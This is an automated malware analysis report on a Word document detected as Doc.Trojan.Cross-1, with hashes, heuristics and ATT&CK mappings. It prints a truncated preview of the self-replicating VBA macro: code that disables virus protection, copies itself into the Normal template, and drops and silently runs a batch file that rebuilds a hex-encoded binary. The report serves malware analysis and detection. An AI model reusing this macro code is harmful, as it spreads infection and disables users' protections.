Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ccd18ef313f62a1…

MALICIOUS

Office (OLE)

177.0 KB Created: 1998-06-04 13:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9955ef81ebd1cea55b5bd99cc5a1287b SHA-1: 8a58915165dfff7aad3e2b662897886535b5433a SHA-256: 4ccd18ef313f62a106f0e96545cf769d120c2699c578172a7cd1616e58c49ae7
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro is configured to execute arbitrary code via the Shell() function, which is a critical finding. The script attempts to export a component to 'c:\X.VIC' and then re-import it, suggesting a mechanism for payload delivery or persistence. The presence of AutoOpen, AutoClose, AutoExit, and AutoExec macros, along with the Shell() call, strongly indicates a malicious intent to execute further stages.

Heuristics 7

  • ClamAV: Doc.Trojan.Cross-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cross-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 250426 bytes
SHA-256: 07b451aa0b156a12bc2d41abd931cd1640f9fba7cf2a19f53ee1622bc7c5249b
Detection
ClamAV: Doc.Trojan.Cross-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "X"
Public AxInst As Boolean
Public FoundKey As Boolean
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
Call CheckKey
Call CheckKey
Application.VBE.ActiveVBProject.VBComponents("X").Export "c:\X.VIC"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "X" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "X" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set SexR = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set SexR = ActiveDocument.VBProject
With SexR
With .VBComponents.Import("c:\X.VIC")
End With
End With
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub
Sub Info()
' Cross.Poppy Word Component
' --[Cross is a blend of SexR-1 and Detox]--
' by VicodinES / Sin Code IV (same person - mixed up letters)
End Sub
Sub AutoClose()
Call AutoOpen
End Sub
Sub AutoExit()
Call AutoOpen
End Sub
Sub AutoExec()
Call AutoOpen
End Sub
Sub FindAx()
pName = "c:\program files\Microsoft Office\Office\"
'pName = "e:\Microsoft Office\Office\"
fName = Dir(pName & "MSACCESS.*")
If (fName <> "") And ((fName <> ".") And (fName <> "..")) Then AxInst = True
If AxInst = True Then Call DropKey("c:\Ax.yzv")
If AxInst = True Then Call DropDetox("c:\mydocu~1\data.scr")
If AxInst = True Then Call MakeBat("c:\mydocu~1\scram.bat")
End Sub
Sub MakeBat(strFile As String)
Dim hFile As Long
Close hFile
On Error Resume Next
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "@echo off"
Print #hFile, "cd\"
Print #hFile, "cd mydocu~1"
Print #hFile, "debug < data.scr > nul"
Print #hFile, "copy data.com data.cab"
Print #hFile, "del data.com"
Print #hFile, "del data.scr"
Print #hFile, "extract data.cab /y"
Print #hFile, "path=c:\winnt;c:\windows\command;c:\progra~1\micros~1\office;c:\progra~1\micros~2\office" ';e:\micros~2\office"
Print #hFile, "start /m /w msaccess data.mdb"
Print #hFile, "del data.cab"
Print #hFile, "del scram.bat"
Close hFile
Shell ("c:\mydocu~1\scram.bat"), vbHide
End Sub
Sub DropKey(strFile As String)
Dim hFile As Long
Close hFile
On Error Resume Next
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "Cross.Poppy ID File"
Close hFile
End Sub
Sub DropDetox(strFile As String)
Dim hFile As Long
Close hFile
On Error Resume Next
hFile = FreeFile
Open strFile For Output Access Write As hFile
Print #hFile, "N DATA.COM"
Print #hFile, "E 0100 4D 53 43 46 00 00 00 00 3F 46 00 00 00 00 00 00"
Print #hFile, "E 0110 2C 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00"
Print #hFile, "E 0120 00 00 00 00 45 00 00 00 04 00 01 00 00 98 01 00"
Print #hFile, "E 0130 00 00 00 00 00 00 8C 24 EF 5A 20 00 64 61 74 61"
Print #hFile, "E 0140 2E 6D 64 62 00 A8 FB 06 98 AC 09 00 80 43 4B ED"
Print #hFile, "E 0150 5D 5B 6C 23 57 19 3E 67 2E F6 F8 92 D8 C9 EC 66"
Print #hFile, "E 0160 77 B3 B4 31 F4 B2 DB 05 56 BB 49 2F 20 21 36 21"
Print #hFile, "E 0170 DE D0 74 B3 4D 69 B2 AB 4A 50 F0 6D EC D8 4D EC"
Print #hFile, "E 0180 30 1E 5F 92 EE 12 17 A9 14 FA D2 AA 14 09 AA A2"
Print #hFile, "E 0190 0A 89 97 AA 48 A8 0F E5 61 D5 27 54 5A 21 21 5A"
Print #hFile, "E 01A0 10 0F 20 84 02 B4 42 14 75 91 90 2A 6E 2D 0C FF"
Print #hFile, "E 01B0 39 67 8E 67 26 71 36 DB 8A 3A CE E6 7C F6 CC FC"
Print #hFile, "E 01C0 E7 9F 73 F9 E7 CC E5 3B FF 6F FB 18 61 84 E6 AC"
Print #hFile, "E 01D0 74 39 97 36 73 89 BB 0C 2B 91 FC 0C 22 78 A1
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.